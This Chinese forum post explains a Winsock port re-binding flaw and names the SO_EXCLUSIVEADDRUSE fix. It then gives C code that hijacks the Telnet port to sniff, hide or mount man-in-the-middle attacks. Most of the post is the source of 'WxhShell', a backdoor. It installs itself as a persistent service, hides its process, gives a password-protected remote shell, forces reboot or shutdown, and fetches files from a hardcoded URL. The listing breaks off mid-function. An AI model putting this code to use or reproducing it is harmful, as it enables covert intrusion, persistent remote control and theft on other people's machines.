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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '&e8;X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k1oJ<$ Q  
} C:i0Q  
  saddr.sin_family = AF_INET; `hdff0  
1YQYZ^11  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AwjXY,2  
ZuybjV1/f6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [N Afy~X*  
kJpO0k9?eY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TY'c'u,  
[T,Hpt  
  这意味着什么?意味着可以进行如下的攻击: 2x9.>nwhb  
W=3#oX.GsU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #4./>}G  
, ^K.J29  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZE-vroh  
x"g)pGsT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S3l^h4  
wU>Fz*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /,\U*'-  
QS!Z*vG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yQMwt|C4  
Zp^O1&\SK?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v/9DD%An  
!Ve0:$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EQ ee5}  
qB (Pqv  
  #include #>("(euXMF  
  #include f}"eN/T  
  #include 3>^]r jFw  
  #include    Y!_{:2H8p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PPH;'!>s"  
  int main() ch :rAx  
  { &3Yj2 Fw  
  WORD wVersionRequested; 7P<f(@0h$E  
  DWORD ret; /'aqQ K<  
  WSADATA wsaData; (Hj[9[=  
  BOOL val; ;Mo_B9  
  SOCKADDR_IN saddr; p]EugLEmG  
  SOCKADDR_IN scaddr; ]"b:IWPeI  
  int err; 9?MzIt  
  SOCKET s; J@2wPKh?Yp  
  SOCKET sc; |Z94@uB  
  int caddsize; )~)l^0X  
  HANDLE mt; nH&z4-1Y?  
  DWORD tid;   NLY=o@<  
  wVersionRequested = MAKEWORD( 2, 2 ); Lc5zu7ncg  
  err = WSAStartup( wVersionRequested, &wsaData ); vQyY %  
  if ( err != 0 ) { Vx2/^MiXy  
  printf("error!WSAStartup failed!\n"); Yi?bY  
  return -1; @;`'s  
  } +/Y2\ s  
  saddr.sin_family = AF_INET; oe]* Q  
   :`zO%h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P%lD9<jED  
s{R ,- \_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vhbHt_!u&  
  saddr.sin_port = htons(23); ^;<d<V}*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QMz=e  
  { c0'ryS_Z9  
  printf("error!socket failed!\n"); D<d, 9S,)  
  return -1; 8 5X}CCQ  
  } lUB?eQuN_  
  val = TRUE; &`@YdZtd"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D\&S {  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ao8ua|:  
  { Y4 HN1  
  printf("error!setsockopt failed!\n"); #WSqh +  
  return -1; %]&$VVVh  
  } qvSYrnpn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :Q>e54]'&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _*6]4\;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tRJ5IX##L  
6vsA8u(|V#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eZAMV/]jH  
  { '0+~]4&}q  
  ret=GetLastError(); pQBn8H|Y  
  printf("error!bind failed!\n"); #| _VN %!  
  return -1; m..ajYSQ  
  } Hs'~) T  
  listen(s,2); n H?6o#]N  
  while(1) \hgd&H0UU  
  { P0}{xq'k9v  
  caddsize = sizeof(scaddr); =yZq]g6Q  
  //接受连接请求 Zh;wQCDj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &Y?t  
  if(sc!=INVALID_SOCKET) o& FOp'  
  { rL1yq|]I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HvG %##  
  if(mt==NULL) '~&W'='b;  
  { wpM2{NTP  
  printf("Thread Creat Failed!\n"); 6wh PW .  
  break; } 7 o!  
  } 4F|79U #  
  } xj;:B( i  
  CloseHandle(mt); K<*6E@+i  
  } {73V?#P4  
  closesocket(s); F1stRZ1ZI  
  WSACleanup(); {\D &*  
  return 0; KJ'ID  
  }   |-}. Y(y  
  DWORD WINAPI ClientThread(LPVOID lpParam) * ) <+u~  
  { AE}cHBwZE  
  SOCKET ss = (SOCKET)lpParam; o'$"MC+  
  SOCKET sc; g= $U&Hgs  
  unsigned char buf[4096]; 8xO   
  SOCKADDR_IN saddr; \,G9'c 'u  
  long num; 1;$XX#7o  
  DWORD val; hJ{u!:4  
  DWORD ret; N9_* {HOy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =WT$\KYGv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L T$U z  
  saddr.sin_family = AF_INET; uL/wV~g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Mn3ADIb=  
  saddr.sin_port = htons(23); bwXeEA@{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X6G{.Vh"  
  { ]qT&6:;-]  
  printf("error!socket failed!\n"); U<w8jVE  
  return -1; HKrENk  
  } s;9Du|0f^  
  val = 100; =4eJ@EVM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6P{^j  
  { ?Tc#[B  
  ret = GetLastError(); :E.a.-  
  return -1; !.,wg'\P  
  } Mqd'XU0L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I@KM2 KMN  
  { g4h{dFb|_  
  ret = GetLastError(); oN,1ig  
  return -1; gQ{ #C'  
  } wli cuY?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JLE&nbKS  
  { =Nt HV4=b  
  printf("error!socket connect failed!\n"); JPqd} :u3  
  closesocket(sc); %, psUOY  
  closesocket(ss); =%7drBoD  
  return -1; #-;W|ib%z  
  } k)n b<JW|r  
  while(1) 6#+&/ "*  
  { | ky40[C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~JXz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $CEdJ+0z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cb9-~*1  
  num = recv(ss,buf,4096,0); 4]U=Y>\Sr  
  if(num>0) _cs(f<>oCO  
  send(sc,buf,num,0); /9R0}4i7  
  else if(num==0) M(I%y0  
  break; X vaIOt>A  
  num = recv(sc,buf,4096,0); $v@$C4  
  if(num>0) juOStTq<  
  send(ss,buf,num,0); R!j#  
  else if(num==0) OZxJDg  
  break; >)ekb7  
  } V6][*.i!9  
  closesocket(ss); [;z\bV<S  
  closesocket(sc); *<xu3){:c  
  return 0 ; Qfm$q~`D^W  
  } ^Lgvey%  
w{W+WJ  
,- AF8BP  
========================================================== Czjb.c:a.Y  
L\2"1%8Wj  
下边附上一个代码,,WXhSHELL ^w^e~0 S  
#<*.{"T  
========================================================== s?EQ  
C(XV YND3  
#include "stdafx.h" t<Acq07  
[~{F(Le  
#include <stdio.h> 1nAm\/&  
#include <string.h> rC-E+%y  
#include <windows.h> 2PlhnUQ7  
#include <winsock2.h> u8zL[] >  
#include <winsvc.h> ^+P.f[  
#include <urlmon.h> $ ZI ]  
zzf@U&x<  
#pragma comment (lib, "Ws2_32.lib") A2 + %  
#pragma comment (lib, "urlmon.lib") l}uZxKuYx  
S.!,qv z  
#define MAX_USER   100 // 最大客户端连接数 .2E/(VM  
#define BUF_SOCK   200 // sock buffer NuQ!huh  
#define KEY_BUFF   255 // 输入 buffer s>J5.Z7"'j  
F\D iT|?}  
#define REBOOT     0   // 重启 VP#KoX85  
#define SHUTDOWN   1   // 关机 C.S BJ  
d0 )725Ia  
#define DEF_PORT   5000 // 监听端口 zIrOMh  
GI]\  
#define REG_LEN     16   // 注册表键长度 sv=U^xI  
#define SVC_LEN     80   // NT服务名长度 0&,D&y%  
hQ@k|3=Re  
// 从dll定义API 1cK'B<5">]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XH?//.q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); unFRfec{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %/Wk+r9uu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s:tX3X  
Z<.&fZ^jS  
// wxhshell配置信息 b  Ssg`  
struct WSCFG { "&2 F  
  int ws_port;         // 监听端口 Ok_}d&A  
  char ws_passstr[REG_LEN]; // 口令 XjN4EDi+E  
  int ws_autoins;       // 安装标记, 1=yes 0=no KmNnW1T  
  char ws_regname[REG_LEN]; // 注册表键名 |HmY`w6*z  
  char ws_svcname[REG_LEN]; // 服务名 PMytk`<`zw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  cHvm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JUr t %2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \78E>(`'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qYA~Os1e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZHNL ~=r}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |P>7C  
, MXU]{  
}; T<B}Z11R  
4QA~@pBX^{  
// default Wxhshell configuration a.V5fl0?I@  
struct WSCFG wscfg={DEF_PORT, CV @P +  
    "xuhuanlingzhe", |}4\Gm  
    1, f}bq  
    "Wxhshell", M^Sa{S*?  
    "Wxhshell", D}?p>e|<D  
            "WxhShell Service", 60~;UBm5O  
    "Wrsky Windows CmdShell Service", wtYgHC}X  
    "Please Input Your Password: ", Cy[G7A%  
  1, p*b_ "aF1  
  "http://www.wrsky.com/wxhshell.exe", 9G/!18 X?f  
  "Wxhshell.exe" w0~%,S  
    }; }MQ:n8  
\U$:/#1Oe  
// 消息定义模块 v[Q)L!J1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 76tn`4NIP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QCb D^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &[[r|  
char *msg_ws_ext="\n\rExit."; 1Vu#:6%  
char *msg_ws_end="\n\rQuit."; e`n ZiM>  
char *msg_ws_boot="\n\rReboot..."; >/A]C$?3  
char *msg_ws_poff="\n\rShutdown..."; hoq2zDjD  
char *msg_ws_down="\n\rSave to "; c& ;@i$X(  
D6L+mTN  
char *msg_ws_err="\n\rErr!"; 9O 'j+?(`@  
char *msg_ws_ok="\n\rOK!";  >:-e  
HEVj K$  
char ExeFile[MAX_PATH]; ;U=b 6xE  
int nUser = 0; G[>NP#P  
HANDLE handles[MAX_USER]; bG]0|  
int OsIsNt; 1d< b\P0  
% 6 *c40  
SERVICE_STATUS       serviceStatus; I!L J&>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ["D!IqI :  
/9pxEidVAS  
// 函数声明 v.|#^A?Qx  
int Install(void); (I~   
int Uninstall(void); n[Q(q[ULV  
int DownloadFile(char *sURL, SOCKET wsh); <iky~iE  
int Boot(int flag); /wLBmh1"  
void HideProc(void); AIg4u(j  
int GetOsVer(void); UQDAql  
int Wxhshell(SOCKET wsl); MKfK9>a  
void TalkWithClient(void *cs); f8;?WSGyD2  
int CmdShell(SOCKET sock); }<^mUG  
int StartFromService(void); OInl?_,,T#  
int StartWxhshell(LPSTR lpCmdLine); "SMJ:g",  
t$$YiO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yP{ 52%|+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Aj}sh{  
vxZ'-&;t  
// 数据结构和表定义 *:n7B\.  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 2z4G =l  
{ u ]"fwkL  
{wscfg.ws_svcname, NTServiceMain}, 4gen,^Ij  
{NULL, NULL} h^ Cm\V  
}; {IgH0+z  
fQ5v?(  
// 自我安装 rn|]-^ku/  
int Install(void) fB+h( 2N~  
{ -~]H5er`  
  char svExeFile[MAX_PATH]; o-@01_j  
  HKEY key; F-s{#V1=  
  strcpy(svExeFile,ExeFile); y$%oR6 K7-  
S($/Ov  
// 如果是win9x系统,修改注册表设为自启动 <YW)8J  
if(!OsIsNt) { [`@M!G.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W4o8]&A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r.e K;  
  RegCloseKey(key); \x-2qlZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RHFRN&RU$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H0s*Lb  
  RegCloseKey(key); cANt7  
  return 0; cTq@"v di  
    } or*{P=m+R  
  } gHPJiiCv  
} Pg8.RvmQ  
else { 4;AF\De  
2jyWkAP'  
// 如果是NT以上系统,安装为系统服务 SZW_V6\t>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VNTbjn]  
if (schSCManager!=0) Odo)h  
{  @*eY~  
  SC_HANDLE schService = CreateService j1;[6XG  
  ( ` Tap0V  
  schSCManager, tBGLEeL/.  
  wscfg.ws_svcname, &za }TH m  
  wscfg.ws_svcdisp, <J<"`xKL  
  SERVICE_ALL_ACCESS, Ro]Z9C>1o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `-{l$Hn9|~  
  SERVICE_AUTO_START, +g g_C'"  
  SERVICE_ERROR_NORMAL, !CU-5bpu  
  svExeFile, %4LoEm=U  
  NULL, KyNu8s k  
  NULL, p9)YRLOh.  
  NULL, vcFR Td  
  NULL, 'd~(=6J  
  NULL J:Fq ip  
  ); qGA|.I9,  
  if (schService!=0) f5*qlQJFz\  
  { 6-|?ya  
  CloseServiceHandle(schService); S a +Y/  
  CloseServiceHandle(schSCManager); }*(_JR4G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sm`c9[E  
  strcat(svExeFile,wscfg.ws_svcname); ESB^"|9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &)OI!^ (  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ef`'r))  
  RegCloseKey(key); ``CM7|)>`  
  return 0; 7"'RE95  
    } >UCg3uFj  
  } TnN yth wZ  
  CloseServiceHandle(schSCManager); ]R""L<K%HF  
} :k_&Zd j,B  
} C~T ,[U  
a(vt"MQ_  
return 1; IVPN=jg?  
} #r#[&b  
]jD\4\M}  
// 自我卸载 1Rd|P<y  
int Uninstall(void) -rU_bnm  
{ \OVFZ D  
  HKEY key; ;D~#|CB  
NWn*_@7;  
if(!OsIsNt) { QQW}.>N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Lh%bqGz  
  RegDeleteValue(key,wscfg.ws_regname);  ijOp{  
  RegCloseKey(key); , ~ 1+MZ=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .6`r`|=  
  RegDeleteValue(key,wscfg.ws_regname); [ iTP:8  
  RegCloseKey(key); l+6c|([  
  return 0; 8e-nzc,]  
  } A8.noV  
} %"v:x?d$$o  
} Gl>\p  
else { Ypzmc$Xfu  
p(pfJ^/:(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PV#h_X<l%  
if (schSCManager!=0) B6dU6"  
{ hM]Z T5;<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H/{@eaV  
  if (schService!=0)  `vH|P  
  { Kn->R9Tl  
  if(DeleteService(schService)!=0) { Bg),Q8\I  
  CloseServiceHandle(schService); ^mq(j_E.  
  CloseServiceHandle(schSCManager); -7&ywgxl  
  return 0; {?:]'c  
  } ;\w3IAa|V  
  CloseServiceHandle(schService); ~qqxHymc  
  } <<LLEdB  
  CloseServiceHandle(schSCManager); bRu 9*4t  
} kqKT>xo4EZ  
} r\"R?P$y|  
b[:,p?:@  
return 1; %JBLp xnq  
} >fYcr#i0[  
(H uvo9  
// 从指定url下载文件 ]<<,{IQ  
int DownloadFile(char *sURL, SOCKET wsh) v'?Smd1v /  
{ In1{&sS  
  HRESULT hr; }169]!R  
char seps[]= "/"; Xb:* KeZq  
char *token; kKlNhP(  
char *file; OvT[JpV  
char myURL[MAX_PATH]; qfXt%6L  
char myFILE[MAX_PATH]; {{G3^ysa  
AM=,:k$  
strcpy(myURL,sURL); )ItABl[{  
  token=strtok(myURL,seps); oIO@#   
  while(token!=NULL) b\JU%89  
  { F?'  
    file=token; [lML^CYQ  
  token=strtok(NULL,seps); ZY,$oFdsi  
  } 'l(s)Oa{M:  
zI[<uvxzW`  
GetCurrentDirectory(MAX_PATH,myFILE); =!L}/Dl  
strcat(myFILE, "\\"); }kt%dDU  
strcat(myFILE, file); P@@MQ[u?!.  
  send(wsh,myFILE,strlen(myFILE),0); *jhgCm  
send(wsh,"...",3,0); 'nPI zK<v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =-Hhm($n  
  if(hr==S_OK) Tl yyJ{~  
return 0; ?<jWEz=  
else s3sRMB2  
return 1; \2; !}  
iA{q$>{8  
} ,j XK  
O>~@>/#  
// 系统电源模块 Q>4NUq  
int Boot(int flag) 2&*#k  
{ Q   
  HANDLE hToken; W#U|;@"  
  TOKEN_PRIVILEGES tkp; P Ptmh. }e  
+JYb)rn$^  
  if(OsIsNt) { F)~>4>hPr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^Lb\k|U ,\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sDBSc:5+e  
    tkp.PrivilegeCount = 1; ~8&->?{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MH)V=xU|)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .'o=J`|  
if(flag==REBOOT) { Eb~vNdPo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ag2~q  
  return 0; }&+,y<>   
} _*UI}JtlS  
else { {Y5@SI yE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uxn+.fA  
  return 0; mC@v,"  
} &-FG}|*4M  
  } m lc8q s  
  else { 7~J>Ga  
if(flag==REBOOT) { kntY2FM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J>#hu3&UOQ  
  return 0; ~x(|'`  
} iLv -*%%  
else { ]h1.1@>xc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :%9R&p:'ar  
  return 0; P7W|e~]Yq  
} ?,7!kTRH  
} cZ)JvU9]  
]v}W9{sY  
return 1; vfn[&WN]  
} FVkl# Qy~  
5uG^`H@X  
// win9x进程隐藏模块 ?@PSD\  
void HideProc(void) P9m  
{ a$?d_BX  
z\<,}x}V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ma-GvWD2  
  if ( hKernel != NULL ) s@&3;{F6D  
  { 9h+Hd&=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,j>FC j>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @7"n X  
    FreeLibrary(hKernel); 9=$ pV==  
  } JAKs [@:  
l?"^2in .  
return; sg-^ oy*^  
} /-!Fr:Ox>  
O)V;na  
// 获取操作系统版本 &8f/6dq  
int GetOsVer(void) h-"q <eY"  
{ *=B<S/0  
  OSVERSIONINFO winfo; E4o{Z+C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8F<|.V;  
  GetVersionEx(&winfo);  .?CaU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IT=y+  
  return 1; HaL'/V~  
  else Z1 )1s  
  return 0; BZhf/{h[@  
} clyp0`,7  
6bs-&Vf  
// 客户端句柄模块 lIEZ=CEmY  
int Wxhshell(SOCKET wsl) msCz\8Xd  
{ `D=OEc  
  SOCKET wsh; ^!exH(g  
  struct sockaddr_in client; =9 QyO h  
  DWORD myID; [mwqCW&  
CR.d3!&28  
  while(nUser<MAX_USER) 3/usgw1  
{ a0]GQyIG  
  int nSize=sizeof(client); wQ+i l6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /L2ZI1v  
  if(wsh==INVALID_SOCKET) return 1; KM )MUPr  
cXt&k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |1 qrU(  
if(handles[nUser]==0) J V}7c$_  
  closesocket(wsh); 8IL5 :7H8  
else v -)<nox  
  nUser++; <(TAA15Xol  
  } Ep;?%o,G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jTqJ(M}L  
indbg d  
  return 0; @I1*b>X~<  
} b(mZ/2,B  
:(OV{ u  
// 关闭 socket WwoT~O8R  
void CloseIt(SOCKET wsh)  * ;Q#UH  
{ }8l+Jd3"  
closesocket(wsh); 0Y* "RbG  
nUser--; |UlR+'rl  
ExitThread(0); + AjV0#n  
} `}P9[HP  
(&)uWjq `  
// 客户端请求句柄 p cUccQ  
void TalkWithClient(void *cs) /QL<>g  
{ cahlYv'  
'bZw-t!M@  
  SOCKET wsh=(SOCKET)cs; m,hqq%qz  
  char pwd[SVC_LEN]; (W"0c?i|]  
  char cmd[KEY_BUFF]; `_/1zL[  
char chr[1]; _"D J|j  
int i,j; }Gb^%1%M  
1$# r)S[*  
  while (nUser < MAX_USER) { <oP`\m   
PDc4ok`)  
if(wscfg.ws_passstr) { $=>:pQbBVX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B^/Cx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Z((cI\J  
  //ZeroMemory(pwd,KEY_BUFF); . P 44t  
      i=0; [`h,Ti!m<  
  while(i<SVC_LEN) { 8  rE`  
R.* k7-(;  
  // 设置超时 X_JC1  
  fd_set FdRead; O.Dz}[w  
  struct timeval TimeOut; bZK`]L[   
  FD_ZERO(&FdRead); Smy J@.L"  
  FD_SET(wsh,&FdRead); Yx. t+a-  
  TimeOut.tv_sec=8; c\P}Z Q  
  TimeOut.tv_usec=0; JKp@fQT *  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 26_PFHQu4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?OO !M  
<;+QK=f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lrx"Hn{  
  pwd=chr[0]; RM2feWm  
  if(chr[0]==0xd || chr[0]==0xa) { 3!*` hQ;s  
  pwd=0; zhRF>Y`  
  break; |`wJ {-  
  } },5LrX`L  
  i++; [A!=Hv_$  
    } H lFVc  
{![E)~  
  // 如果是非法用户,关闭 socket bDw\;bnG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b1e)w?n  
} rY6bc\?`x  
)d {8Cu6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2j>C4Ck  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zS?}3#g0u  
| ~D~#Nz  
while(1) { blbzh';0}  
'i/"D8  
  ZeroMemory(cmd,KEY_BUFF); nM$-L.dG  
@M }`nKXM  
      // 自动支持客户端 telnet标准   OH+2)X  
  j=0; z"sv,W  
  while(j<KEY_BUFF) { 3@;24X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [.G~5%974  
  cmd[j]=chr[0]; Q6X}R,KA1  
  if(chr[0]==0xa || chr[0]==0xd) { .$x822   
  cmd[j]=0; <&M5#:u  
  break; [z} $G:s  
  } -cXVkH{  
  j++; &19z|Id  
    } 1-4*YrA  
9Cb>J  
  // 下载文件 Me,AE^pgL'  
  if(strstr(cmd,"http://")) { /8(t:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IP 1{gMG  
  if(DownloadFile(cmd,wsh)) Ce3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uUG&At  
  else V SH64  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FRE${~Xd  
  } ?=Z0N&}[  
  else { !%C&hH\  
*UG=dl#F#  
    switch(cmd[0]) { ZcN%F)htm  
  oP<E)  
  // 帮助 eY$Q}BcW  
  case '?': { 0ipYXbC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <_Po/a!c3  
    break; W.b?~  
  } U./1OZ&  
  // 安装 %eqL)pC]  
  case 'i': { OEN'c0;5  
    if(Install()) ^UpwVKdP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (e{pAm  
    else oU~e|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %1]Lc=[j  
    break; PmE2T\{s!  
    } N(&/ Ud  
  // 卸载 [Hp"a^~r|  
  case 'r': { 3D7phq>.q  
    if(Uninstall()) F a'2i<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uw_z9ZL  
    else T/l2B1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =:'a)o  
    break; N` rOlEk  
    } 8|#p D4e  
  // 显示 wxhshell 所在路径 p>]2o\["  
  case 'p': { &5wM`  
    char svExeFile[MAX_PATH]; R_DZJV O  
    strcpy(svExeFile,"\n\r"); oG;;='*  
      strcat(svExeFile,ExeFile); V$ss[fX  
        send(wsh,svExeFile,strlen(svExeFile),0); b<rJ@1qtJ  
    break; _52BIrAO2  
    } W%7m3/d  
  // 重启 uO`YA]  
  case 'b': { h|'T'l&z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IC7S +v  
    if(Boot(REBOOT)) 4mzWNr>fb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_#i,|]58  
    else { =i)k@w_(x  
    closesocket(wsh); 7^:0?Q  
    ExitThread(0); 3~!PJI1  
    } R'r^v  
    break; lFL iW  
    } gobqS+c  
  // 关机 Z66@@?`  
  case 'd': { S}*%l)vfR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @=[ SsS  
    if(Boot(SHUTDOWN)) )TcW.d6  
